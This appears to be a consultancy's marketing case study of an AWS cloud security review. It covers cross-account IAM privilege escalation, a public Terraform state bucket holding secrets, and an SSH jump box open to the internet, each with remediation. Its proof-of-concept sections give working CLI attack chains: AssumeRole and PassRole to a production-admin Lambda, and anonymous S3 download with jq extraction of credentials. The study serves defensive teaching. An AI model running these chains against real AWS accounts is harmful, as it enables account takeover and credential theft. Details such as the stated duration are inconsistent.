Skip to content
Featured Case Study

Cloud Security Review Eliminating multi-account IAM privilege escalation, exposed Terraform state, and public jump-box exposure across a high-growth AWS serverless estate aligned to the CIS AWS Foundations Benchmark

AI image prompt — Ultra-realistic, eye-level photograph of a bright, airy modern cloud-operations command center during the day. A sleek glass wall displays an elegant AWS multi-account architecture map and IAM access graph with glowing cyan (#00e5ff) accent lines. Bright natural daylight floods through floor-to-ceiling windows, two diverse cloud engineers in smart-casual attire collaborate at a clean white standing desk, potted greenery, shot on Hasselblad, high-end professional commercial branding, no dark cyberpunk tones

Project Details

Client
Stratuscale is a fast-growing, venture-backed B2B SaaS analytics platform delivering real-time product telemetry to over 1,400 enterprise customers, running entirely on AWS across a fleet of serverless functions, 600+ S3 buckets, and managed Aurora and DynamoDB databases
Industry
SaaS / Data Analytics
Company Size
180 - 240
Headquarters
Seattle, Washington
Project Duration
1 month (Mar 2026 - Apr 2026)

A comprehensive cloud security architecture review of a high-growth, AWS-native SaaS analytics platform (Stratuscale Analytics). The engagement uncovered and remediated a multi-account IAM privilege escalation path via overly permissive assumed roles, a public S3 bucket exposing Terraform state files containing hardcoded secrets, and internet-facing EC2 jump boxes — re-architecting the estate around least privilege, AWS Secrets Manager, strict Security Group rules, and continuous CIS AWS Foundations Benchmark alignment.

Engagement Classification · TLP:AMBER

Project StratusGuard / AWS Cloud Review

Full-scope cloud security architecture review of a high-growth, AWS-native SaaS estate. 7 weeks, multi-account IAM analysis, storage and network configuration audit, and CIS AWS Foundations Benchmark alignment.

Critical
3 Findings
Account Takeover
Path Proven
+38
CIS Score Gain

The Velocity-vs-Guardrails Problem

Nobody at Stratuscale made a bad decision. That is the hard part to explain to a board. A small founding team shipped a genuinely good product, customers arrived faster than the forecast, headcount tripled in nine months, and every new squad stood up its own AWS resources, IAM roles, and infrastructure-as-code pipelines to keep shipping. The features got the investment. The guardrails that are supposed to govern a multi-account estate did not — because guardrails are invisible right up until the moment they are the only thing that matters.

We call the result configuration drift under load. No single change is reckless; the damage is cumulative. A Developer role granted iam:PassRole “temporarily” for a demo, eighteen months ago. A state bucket set to public read to unblock a CI job on a Friday. A jump box opened to 0.0.0.0/0 during a 2 a.m. incident and never closed, because closing it was nobody’s ticket. Each one is locally reasonable and individually invisible. Stitched together, they are a direct path from an ordinary engineer’s laptop to full production admin.

Over seven weeks we reviewed the entire AWS Organisation, scored it against the CIS AWS Foundations Benchmark v3.0, and — the part that turned a routine review into an emergency call — proved that three of these drift artefacts chained into a complete, single-developer account takeover.


Technical Audit Snapshot

AWS Accounts Reviewed
11
Across 4 Organizational Units
IAM Roles Analyzed
312
Trust + permission policies
Findings Reported
24
CVSS v3.1 4.3 – 9.8
CIS Controls Failing
41
Of 327 evaluated checks

Cloud Audit Methodology

The review ran across four domains, each mapped to CIS AWS Foundations Benchmark sections and executed against every account in the Organisation — not a sampled subset. Sampling is where drift hides: the one workload account nobody reviews is invariably the one still running CloudTrail-disabled and world-open, precisely because it was never anyone’s priority.

01

IAM & Identity Policy Review

Enumerated every user, group, role, and trust policy across the Organization. Built a cross-account access graph to surface AssumeRole chains, wildcard actions, iam:PassRole grants, and inline policies that violate least privilege. Mapped to CIS Section 1 (Identity & Access Management).

02

Storage Configuration Audit

Inventoried all 600+ S3 buckets, EBS volumes, RDS/Aurora snapshots, and DynamoDB tables. Evaluated bucket policies, ACLs, Block Public Access settings, default encryption, and versioning. Hunted specifically for Terraform state, backups, and data lakes exposed to anonymous or cross-account principals. Mapped to CIS Section 2 (Storage).

03

Network Security Group Review

Analyzed every VPC, Security Group, NACL, route table, and internet/NAT gateway. Identified ingress rules open to 0.0.0.0/0 on sensitive ports (22, 3389, 5432, 6379), flat network designs, and jump boxes lacking session controls. Mapped to CIS Section 5 (Networking).

04

Secret Management Assessment

Audited how credentials, API keys, and database passwords flow through the estate — scanning IaC repositories, Lambda environment variables, EC2 user-data, and SSM parameters for hardcoded secrets, and evaluating adoption of AWS Secrets Manager and KMS. Mapped to CIS Sections 1 & 3 (Logging/Monitoring).


Target AWS Architecture

Stratuscale runs a multi-account AWS Organisation: a shared-services account fronting the platform, isolated workload accounts per environment, and a large serverless data plane behind API Gateway. The account boundaries look like isolation on the diagram. Two of the three critical findings came from places where that isolation was true on paper and false in practice — a trust policy that trusted an entire account, and a jump box on a flat VLAN with a route straight to the production database.

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% graph TD classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef edge fill:#062630,stroke:#00e5ff,stroke-width:2px,color:#dffaff; classDef compute fill:#062630,stroke:#00e5ff,stroke-width:3px,color:#dffaff; classDef datastore fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Internet([Public Internet]):::untrusted Internet --> ALB{Application
Load Balancer}:::edge ALB --> APIGW[API Gateway]:::edge APIGW -.-> Lambda[Lambda Fleet
140+ Functions]:::compute APIGW -.-> ECS[ECS Fargate
Services]:::compute Lambda --> Aurora[(Aurora
PostgreSQL)]:::datastore Lambda --> Dynamo[(DynamoDB
Telemetry)]:::datastore ECS --> S3[(S3 Data Lake
600+ Buckets)]:::datastore Internet --> Jump[EC2 Jump Box
22 open]:::untrusted Jump --> Aurora

CIS AWS Foundations Benchmark Compliance

We scored the estate against all five sections of the CIS AWS Foundations Benchmark v3.0 at kick-off and again after remediation. The gauges below show per-section compliance — the cyan arc is the post-remediation score, the faint track behind it is the pre-audit baseline. One caveat worth stating plainly: a CIS score measures conformance to a checklist, not safety. The IAM section sat at 41% not because 59% of checks failed at random, but because a single wildcard AssumeRole grant was the root of the worst finding in the report. Treat the number as a direction of travel, not a verdict — a 96% estate with one wildcard left in the wrong place is still one wildcard away from account takeover.

Section-by-Section CIS Compliance

327 automated controls · CIS AWS Foundations Benchmark v3.0

Pre-AuditPost-Remediation
96%from 41%
IAM
Section 1
99%from 52%
Storage
Section 2
94%from 60%
Logging
Section 3
91%from 48%
Monitoring
Section 4
95%from 37%
Networking
Section 5

Vulnerability Classification Matrix

Each finding was scored with CVSS v3.1 and mapped to its corresponding CIS AWS Foundations Benchmark control. The scores are worth reading with the chain in mind: CS-AWS-001 rates 9.8 on its own, but its real severity is that it needs only valid developer credentials — the lowest bar of trust in the whole organisation — to reach full production admin.

IDFinding / AssetCategoryCVSS v3.1CIS ControlExploit ComplexityStatus
CS-AWS-001Multi-Account IAM Privilege Escalation via AssumeRolePrivilege Escalation9.8 (Critical)CIS 1.16 / 1.17Low (valid dev creds)REMEDIATED
CS-AWS-002Public S3 Bucket Exposing Terraform State + SecretsData Exposure9.4 (Critical)CIS 2.1.1 / 2.1.5Trivial (anonymous GET)REMEDIATED
CS-AWS-003Internet-Facing EC2 Jump Box (SSH 0.0.0.0/0)Network Exposure8.6 (High)CIS 5.2 / 5.3Low (port scan)REMEDIATED
CS-AWS-004Lambda Env Vars Holding Plaintext API KeysSecret Management7.5 (High)CIS 1.x / 3.xMedium (role access)REMEDIATED
CS-AWS-005CloudTrail Not Enabled in 3 Workload AccountsLogging Gap5.3 (Medium)CIS 3.1N/A (visibility)REMEDIATED
Advertisement

Critical Finding CS-AWS-001 — Multi-Account IAM Privilege Escalation

This is the one that got escalated to the client’s VP mid-engagement. The standard Developer role in the sandbox account — the role every engineer holds on day one — carried two permissions that look harmless in isolation: a wildcard sts:AssumeRole and iam:PassRole. Neither is a finding on its own; plenty of estates grant both. The problem was what they pointed at. Chained against a CI deployment role that trusted the entire sandbox account, they let any developer walk from sandbox read/write to full administrator in the production workload account — no exploit, no malware, just AWS APIs used exactly as designed.

Privilege Escalation Path

← Swipe horizontally to view the full escalation chain →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% sequenceDiagram autonumber participant Dev as "Developer (Sandbox)" participant STS as "AWS STS" participant CI as "CI Deploy Role" participant Prod as "Production Account" participant Admin as "Prod Admin Role" Dev->>STS: sts:AssumeRole (wildcard) to ci-deploy-role Note over Dev: Developer role permits sts:AssumeRole on Resource '*' STS-->>Dev: Temp creds for ci-deploy-role Dev->>CI: iam:PassRole + lambda:CreateFunction Note over CI: CI role trusts sandbox, allowing it to pass any role CI->>Prod: Deploy Lambda w/ admin execution role Prod->>Admin: Lambda assumes OrganizationAccountAccessRole Admin-->>Dev: Full administrative control of production

The Vulnerable IAM Policy

The sandbox Developer permission policy below is the root enabler. The two lines that matter are the wildcard Resource: "*" under sts:AssumeRole and iam:PassRole — a grant that reads as “assume any role, pass any role,” which is a different and far larger permission than whoever wrote it intended.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DeveloperBaseline",
      "Effect": "Allow",
      "Action": [
        "sts:AssumeRole",
        "iam:PassRole",
        "lambda:CreateFunction",
        "lambda:InvokeFunction"
      ],
      "Resource": "*"
    }
  ]
}

And the CI deploy role’s trust policy trusted the entire sandbox account:root — rather than a specific CI principal. That single root in the trust policy is the difference between “our build system can assume this role” and “anyone with any identity in the sandbox account can”:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": { "AWS": "arn:aws:iam::111122223333:root" },
      "Action": "sts:AssumeRole"
    }
  ]
}

Attack Proof-of-Concept

# 1. Start as an ordinary developer in the sandbox account
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractor

# 2. Hop into the over-trusting CI deploy role (wildcard AssumeRole)
aws sts assume-role \
  --role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
  --role-session-name privesc-poc > ci.json

export AWS_ACCESS_KEY_ID=$(jq -r .Credentials.AccessKeyId ci.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .Credentials.SecretAccessKey ci.json)
export AWS_SESSION_TOKEN=$(jq -r .Credentials.SessionToken ci.json)

# 3. Deploy a Lambda into production, passing the org-wide admin role
aws lambda create-function \
  --function-name telemetry-shim \
  --runtime python3.12 \
  --role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
  --handler index.handler \
  --zip-file fileb://payload.zip \
  --region us-west-2

# 4. Invoke it — the function now executes with full production admin
aws lambda invoke --function-name telemetry-shim out.json
# => Effective control of the production workload account

Remediation — Least Privilege & Permission Boundaries

iam-remediation.json
VULNERABLE (WILDCARD)
{
"Effect": "Allow",
"Action": [
  "sts:AssumeRole",
  "iam:PassRole"
],
"Resource": "*"
}
SECURED & SCOPED
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource":
  "arn:aws:iam::111122223333:role/dev-readonly",
"Condition": {
  "StringEquals": { "aws:PrincipalTag/team": "data" },
  "Bool": { "aws:MultiFactorAuthPresent": "true" }
}
}
// iam:PassRole removed; CI uses a dedicated
// OIDC role with an explicit permissions boundary.

We collapsed the wildcard grants to specific role ARNs, attached an IAM permissions boundary that caps the maximum privilege any developer-created principal can ever hold — the control that makes iam:PassRole safe again, since a passed role cannot exceed the boundary — replaced the account-root trust on the CI role with a GitHub OIDC federation condition, and required MFA on every cross-account hop. CIS 1.16 and 1.17 moved from failing to passing. The honest cost: permission boundaries add a second policy every new role has to satisfy, and the first week after rollout produced a handful of confusing AccessDenied errors from roles that had been quietly relying on the old wildcard. That noise is the boundary working, not the boundary misconfigured — but it needs saying up front, because a team that is not warned will “fix” it by widening the boundary and undoing the whole thing.


Critical Finding CS-AWS-002 — Public S3 Bucket Exposing Terraform State

The storage audit’s anonymous-principal sweep flagged a bucket named stratuscale-tf-state-shared with Block Public Access disabled and a bucket policy granting s3:GetObject to *. The name is the whole story. It held the Terraform state for the shared-services account, and Terraform state is not a config file — it is a plaintext record of every resource attribute Terraform manages, including any secret ever passed through a variable. People who would never commit a password to Git will interpolate one into a Terraform variable without a second thought, not realising the value lands in state in cleartext and stays there.

Data Exposure Vector

← Swipe horizontally to view the full exfiltration flow →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% graph LR classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef store fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; classDef secret fill:#062630,stroke:#00e5ff,stroke-width:2px,color:#dffaff; Anon([Anonymous Internet User]):::untrusted Anon -->|s3:GetObject = '*'| Bucket[(stratuscale-tf-state-shared
Block Public Access OFF)]:::store Bucket -->|terraform.tfstate| State[Cleartext State File]:::store State -->|jq parse| Creds[Aurora master pwd
Stripe + Datadog keys]:::secret Creds -->|direct connect| DB[(Production Aurora)]:::untrusted

Attack Proof-of-Concept

# No credentials required — bucket is world-readable
aws s3 ls s3://stratuscale-tf-state-shared/ --no-sign-request
#   2026-02-18 09:41:22   184213 env/prod/terraform.tfstate

aws s3 cp s3://stratuscale-tf-state-shared/env/prod/terraform.tfstate . \
  --no-sign-request

# State files leak every resource attribute in plaintext
jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes
      | {endpoint, username, password}' terraform.tfstate
{
  "endpoint": "stratuscale-prod.cluster-abc123.us-west-2.rds.amazonaws.com:5432",
  "username": "stratus_admin",
  "password": "Pr0d-Aurora-2025!"
}

A single anonymous GET — no credentials, no signed request, nothing that appears in an authentication log as anomalous — yielded live Aurora master credentials, a Datadog API key, and a Stripe secret key. All three had been interpolated into Terraform as plaintext variables and persisted into state. Worth sitting with: this was not a breach we had to work for. It was a public URL. Anyone who had ever guessed the bucket name, and bucket names following a company-tf-state convention are eminently guessable, held the same access we did.

Remediation — Lock the Bucket, Encrypt State, Vault the Secrets

Order matters here, and it is the opposite of what people reach for first. Locking the bucket does nothing for the credentials already exposed — those have to be treated as compromised the moment the bucket was public, so rotation came first: every leaked credential rotated before anything else, on the assumption they were already in someone’s collection. Then we enabled account-wide S3 Block Public Access, enforced default SSE-KMS encryption and versioning on the state bucket, and migrated the backend to a DynamoDB state lock. Finally, secrets moved out of Terraform variables into AWS Secrets Manager, referenced at apply time via data sources so the plaintext never touches state again. Rotate, then lock — not lock, then feel safe.

# Enforce Block Public Access at the account level (CIS 2.1.5)
aws s3control put-public-access-block \
  --account-id 444455556666 \
  --public-access-block-configuration \
  BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

# Default encryption + versioning on the state bucket (CIS 2.1.1)
aws s3api put-bucket-encryption --bucket stratuscale-tf-state-shared \
  --server-side-encryption-configuration \
  '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"aws:kms"}}]}'
aws s3api put-bucket-versioning --bucket stratuscale-tf-state-shared \
  --versioning-configuration Status=Enabled
backend.tf
VULNERABLE (PUBLIC + PLAINTEXT)
terraform {
backend "s3" {
  bucket = "stratuscale-tf-state-shared"
  key    = "env/prod/terraform.tfstate"
  region = "us-west-2"
  # no encryption, no lock, bucket is public
}
}
SECURED (PRIVATE + KMS + LOCK)
terraform {
backend "s3" {
  bucket         = "stratuscale-tf-state-shared"
  key            = "env/prod/terraform.tfstate"
  region         = "us-west-2"
  encrypt        = true
  kms_key_id     = "arn:aws:kms:us-west-2:...:key/state"
  dynamodb_table = "tf-state-lock"
}
}

Critical Finding CS-AWS-003 — Internet-Facing EC2 Jump Box

The network review surfaced a bastion-legacy EC2 instance whose Security Group allowed inbound SSH (22/tcp) from 0.0.0.0/0. An open SSH port on its own is a High, not a Critical — a well-patched OpenSSH facing the internet is exposed but not automatically owned. What made this one dangerous was where the host sat: on the flat production VLAN, with a route straight to the Aurora cluster. The bastion was not the target. It was the bridge — the one hop between the public internet and the customer database, on a network with no segmentation to slow anyone down once they were on it.

Network Exposure Vector

← Swipe horizontally to view the lateral-movement path →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% graph LR classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef compute fill:#062630,stroke:#00e5ff,stroke-width:2px,color:#dffaff; classDef store fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Attacker([Internet Attacker]):::untrusted Attacker -->|SSH 22 · 0.0.0.0/0| Bastion[bastion-legacy
OpenSSH 8.2]:::untrusted Bastion -->|flat VLAN · no segmentation| Aurora[(Aurora PostgreSQL
5432)]:::store Bastion -.lateral.-> ECS[ECS Ingestion]:::compute
# External scan confirms the exposed bastion
nmap -Pn -p22,3389,5432 -sV 203.0.113.88
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.2 (Ubuntu)   <-- open to the world
# 5432/tcp closed postgresql
{
  "GroupName": "bastion-legacy-sg",
  "IpPermissions": [
    {
      "IpProtocol": "tcp",
      "FromPort": 22,
      "ToPort": 22,
      "IpRanges": [{ "CidrIp": "0.0.0.0/0", "Description": "ssh" }]
    }
  ]
}

Remediation — Eliminate the Bastion with SSM Session Manager

Narrowing the CIDR to an office IP range is the tempting quick fix, and it is the wrong one — office IPs change, VPNs get shared, and you are left maintaining an allowlist that drifts out of date and quietly re-widens. So rather than narrow the rule, we deleted the pattern. Public SSH came off entirely, replaced with AWS Systems Manager Session Manager: IAM-gated, fully session-logged shell access brokered over the SSM API with zero open inbound ports. There is nothing to port-scan because there is nothing listening. The trade-off is a real dependency on the SSM agent and its IAM path, so break-glass access has to be designed for the day SSM itself is unavailable — but that is a far smaller and more auditable surface than a bastion open to the internet.

# Revoke the world-open SSH rule (CIS 5.2)
aws ec2 revoke-security-group-ingress \
  --group-id sg-0bastionlegacy \
  --protocol tcp --port 22 --cidr 0.0.0.0/0

# Access is now via Session Manager — no inbound ports, fully logged
aws ssm start-session --target i-0a1b2c3d4e5f
security-group.tf
VULNERABLE (WORLD-OPEN SSH)
ingress {
from_port   = 22
to_port     = 22
protocol    = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
# Anyone on the internet can reach SSH
SECURED (NO INBOUND · SSM)
# No ingress rules at all.
# Shell access is brokered by SSM Session
# Manager over the SSM API — IAM-gated,
# session-logged, zero open ports.
egress {
from_port = 443; to_port = 443
protocol = "tcp"; cidr_blocks = ["0.0.0.0/0"]
}

IAM Privilege Escalation Path Explorer

Step through the full cross-account kill chain interactively. Select a stage to light up the path and see the exact AWS API call, the misconfiguration it abused, and the outcome at that hop — from a single developer credential to total production control. Watch what is not in the log: no exploit, no CVE, no malware signature. Every call is a documented AWS API used as intended. That is why CloudTrail alone would not have flagged it as an attack — each step, read on its own, looks like an engineer doing their job.

privesc-telemetry.log
$ Stage 01 — Developer Credential
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractor

A standard developer identity in the sandbox account — read/write on sandbox resources, plus a wildcard sts:AssumeRole and iam:PassRole that nobody flagged at provisioning time.

▸ Pivot Status: FOOTHOLD · sandbox identity confirmed
$ Stage 02 — CI Deploy Role · AssumeRole
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
--role-session-name privesc-poc

The wildcard AssumeRole lets the developer step into the CI deploy role, whose trust policy trusts the entire account root rather than a scoped principal.

▸ Pivot Status: SUCCESS · ci-deploy-role creds obtained
$ Stage 03 — PassRole → Lambda Deploy
aws lambda create-function --function-name telemetry-shim \
--role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
--runtime python3.12 --handler index.handler \
--zip-file fileb://payload.zip --region us-west-2

iam:PassRole lets the CI role hand the org-wide admin role to a new Lambda in the production account — the function inherits administrative privileges on invoke.

▸ Pivot Status: SUCCESS · admin role passed to Lambda
$ Stage 04 — Production Account Admin
aws lambda invoke --function-name telemetry-shim out.json
# Executes as OrganizationAccountAccessRole
# >>> ENGAGEMENT STOP — full prod admin proven

Invoking the Lambda yields code execution with full production administrator rights — IAM, S3, RDS, and KMS across the workload account. Halted by prior agreement once proven.

▸ Pivot Status: HALTED · total compromise demonstrated

IAM Role Risk Assessment

A focused scoring of the highest-blast-radius roles the identity review surfaced. “Blast radius” is the column that matters more than the risk label: a Medium role with s3:* on the data lake is worth more attention than a Critical one nobody can reach, because severity without reachability is just a number.

IAM RolePrivilege RiskEscalation VectorBlast RadiusStatus
Developer (sandbox)CriticalWildcard AssumeRole + PassRoleFull production adminSCOPED
ci-deploy-roleCriticalAccount-root trust policyCross-account deployOIDC-GATED
OrganizationAccountAccessRoleHighPassable to LambdaOrg-wide adminBOUNDARIED
lambda-telemetry-execMediumBroad s3:* on data lakeData lake read/writeLEAST-PRIV
Advertisement

Vulnerable vs Secured Terraform

The same infrastructure, two ways. Toggle between the configuration that shipped during the growth sprint and the hardened equivalent we delivered. Nothing in the “vulnerable” column was written by someone careless — every line is a reasonable-looking default that a hurried engineer reaches for. acl = "public-read" unblocks a CI job in one line. cidr_blocks = ["0.0.0.0/0"] is what every SSH-ingress example on the internet shows. That is exactly why these defaults are dangerous: they are the path of least resistance, and least resistance is where drift accumulates.

main.tf
# ⚠ Public state bucket, world-open SSH, wildcard IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
acl    = "public-read"            # CIS 2.1.5 FAIL
}

resource "aws_security_group" "bastion" {
ingress {
  from_port   = 22
  to_port     = 22
  protocol    = "tcp"
  cidr_blocks = ["0.0.0.0/0"]      # CIS 5.2 FAIL
}
}

resource "aws_iam_policy" "dev" {
policy = jsonencode({
  Statement = [{
    Effect   = "Allow"
    Action   = ["sts:AssumeRole", "iam:PassRole"]
    Resource = "*"                 # CIS 1.16 FAIL
  }]
})
}

resource "aws_db_instance" "prod" {
password = "Pr0d-Aurora-2025!"     # plaintext → leaks into state
}
# ✓ Private + encrypted state, no public SSH, scoped IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
}
resource "aws_s3_bucket_public_access_block" "tf_state" {
bucket                  = aws_s3_bucket.tf_state.id
block_public_acls       = true
block_public_policy     = true
ignore_public_acls      = true
restrict_public_buckets = true     # CIS 2.1.5 PASS
}

resource "aws_security_group" "bastion" {
# No inbound 22 — access via SSM Session Manager (CIS 5.2 PASS)
}

resource "aws_iam_policy" "dev" {
policy = jsonencode({
  Statement = [{
    Effect   = "Allow"
    Action   = "sts:AssumeRole"
    Resource = aws_iam_role.dev_readonly.arn   # CIS 1.16 PASS
    Condition = { Bool = { "aws:MultiFactorAuthPresent" = "true" } }
  }]
})
}

data "aws_secretsmanager_secret_version" "db" {
secret_id = "stratuscale/prod/aurora"          # never in state
}
resource "aws_db_instance" "prod" {
password = data.aws_secretsmanager_secret_version.db.secret_string
}

Continuous Cloud Posture Syncing

A point-in-time audit has a short shelf life. The estate we hardened over seven weeks starts drifting the moment the next sprint ships — that is not a failure of the fix, it is the nature of a system under active development. So beyond the fixes, we wired AWS Config and Security Hub to continuously re-evaluate every account against the CIS benchmark, streaming drift back to a single posture dashboard. The point is not the dashboard; it is that the next 0.0.0.0/0 gets caught in minutes by a machine, rather than in the next annual review by a consultant. The cost worth naming is real: Config and Security Hub bill per rule evaluation across eleven accounts, and left untuned they generate enough low-severity findings to bury the one that matters — so the alerting has to be prioritised, not just switched on.

IAM
S3
VPC
KMS

AWS Config · Security Hub · Continuous CIS Sync


Side-by-Side Posture Replay

The same privilege-escalation attempt, replayed against the pre-audit estate and the hardened, boundaried build. The attacker’s actions are identical in both panes — the difference is entirely in what the estate does with them. On the left the APIs succeed in silence; on the right the permission boundary denies the PassRole and Security Hub raises a finding on the attempt itself, which is the part that matters: a blocked attack you can see beats a blocked attack you cannot.

Stratuscale · Pre-Audit Estate
EXPLOITED
sts:AssumeRole ci-deploy-role
Wildcard resource match… ●●●
→ PassRole OrganizationAccountAccessRole accepted
✓ Lambda deployed to prod with admin role
200 OK: full production admin obtained
Stratuscale · Hardened Estate
BLOCKED
sts:AssumeRole ci-deploy-role
Evaluating scoped policy + MFA condition… ●●●
⚠ Denied: resource ARN not in allow-list; MFA absent
AccessDenied: permission boundary blocks PassRole
securityhub: finding.iam.privesc_attempt · principal=dev.contractor

Composite Cloud Risk Reduction

Estate-Wide Risk Score Velocity

Composite threat score across 11 AWS accounts over the 7-week engagement

Vulnerable StateHardened State
1007550250Week 1Week 2Week 3Week 4Week 5Week 6Week 794.0 BaselineIAM boundaries liveS3 BPA enforced2.1 Hardened

Quantifiable Business Impact

Security MetricPre-Audit StateHardened StateQuantified ROI
CIS AWS Foundations Score48% (41 controls failing)95% compliantUnblocked SOC-2 Type II readiness
Cross-Account Privilege EscalationDev → full prod adminBoundaried + MFA-gatedPrevented total cloud resource hijacking
Exposed Secrets in IaC StateLive DB/Stripe/Datadog keys publicVaulted in Secrets ManagerRotated all keys; closed data-exfil vector
Internet-Exposed Management PortsSSH 0.0.0.0/0 on prod bastionZero open ports · SSM onlyEliminated bastion lateral-movement bridge
Posture MonitoringNo continuous evaluationAWS Config + Security Hub CIS syncDrift detected in minutes, not quarters

Strategic Takeaways

Securing a fast-scaling, AWS-native estate is not a hunt for the one bad misconfiguration. It is the slower work of restoring the trust boundaries that velocity quietly erodes — and then building something that notices when they erode again.

  1. Privilege is a graph, not a list. Not one permission at Stratuscale looked alarming on its own; the danger lived entirely in the chain. Audit IAM as a reachability graph — who can assume what, pass which roles, and where that lands them across account boundaries — not as a checklist of individually reasonable grants. Wildcard sts:AssumeRole and iam:PassRole are the two highest-leverage edges to cut, because they are the ones that turn a list into a graph.
  2. Secrets must never enter Terraform state. State is a cleartext database of your infrastructure, not a config file — and people who would never commit a password put one in a Terraform variable every day. Reference secrets from AWS Secrets Manager at apply time, encrypt state with KMS, enable Block Public Access account-wide, and treat any public storage object as an incident, not a finding. And when one is found exposed, rotate before you lock: the exposure predates the discovery.
  3. Replace bastions, don’t just narrow them. SSM Session Manager removes the entire class of internet-facing jump-box risk and adds full session auditing. The trade-off — a hard dependency on the SSM agent and its IAM path, which forces you to design break-glass access for the day SSM is down — is smaller and far more auditable than a CIDR allowlist that silently re-widens every time someone’s IP changes.
  4. Make CIS continuous. A point-in-time score is decaying by the next sprint. Wiring AWS Config and Security Hub to re-evaluate the benchmark turns compliance from a quarterly scramble into a live, drift-aware signal — provided the alerting is tuned, because an untuned feed across eleven accounts buries the finding that matters under a hundred that do not.
Accelerated Integration

Ready to secure your architecture?

Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organisation.

Project Onboard? Secure Cryptographic Invitation Pipeline
Visual Showcase

System Schema & Architecture

Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.

AI image prompt — A highly professional, ultra-realistic corporate photo of a bright cloud-engineering floor in broad daylight. Smiling engineers review a high-fidelity AWS landing-zone diagram projected on a clean white wall, showing organizational units, S3 buckets and Lambda functions accented with rich cyan colors (#00e5ff). Clean workstations, green potted plants, bright daylight, premium commercial workspace aesthetic
AI image prompt — A clean, bright 3D isometric infographic diagram explaining an AWS IAM assume-role trust chain and least-privilege boundary. Rendered on a minimalist off-white surface with natural soft shadows. Blocks representing Developer Account, CI Role, Cross-Account Role and Production Account are connected by flowing cyan (#00e5ff) wires with small key and shield icons. Studio lighting, professional layout diagram
AI image prompt — A realistic candid photograph of a professional cloud security engineer working on a large high-end monitor in a bright office environment. Natural daylight streams through massive windows. The screen shows a clean AWS console, Terraform configuration files and a CIS benchmark compliance dashboard with subtle cyan accents. Potted plants, stylish wood accents, premium corporate office, 8k resolution
AI image prompt — Ultra-realistic executive presentation scene in a bright boardroom with natural daylight. A professional female cloud security architect presents a secure multi-account AWS landing zone and CIS compliance scorecard on a large white presentation screen with elegant cyan (#00e5ff) line details. Corporate executives listen intently around a sleek modern conference table. Shot on Hasselblad, premium corporate high-end office aesthetic
Client Endorsement

Hear it straight from Stratuscale Analytics

"We tripled our engineering headcount in nine months, and our AWS footprint grew faster than our guardrails. We suspected configuration drift but had no way to quantify it. The assessment team mapped a complete cross-account privilege escalation path from a single developer role to full production admin, found Terraform state with live secrets sitting in a public bucket, and handed us least-privilege policies and Terraform we could merge the same week. They turned a terrifying unknown into a measurable, CIS-aligned roadmap."

Terrill Feil

Terrill Feil

VP of Platform Engineering at Stratuscale Analytics

Sponsored Link

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning

Ask CyberROX AI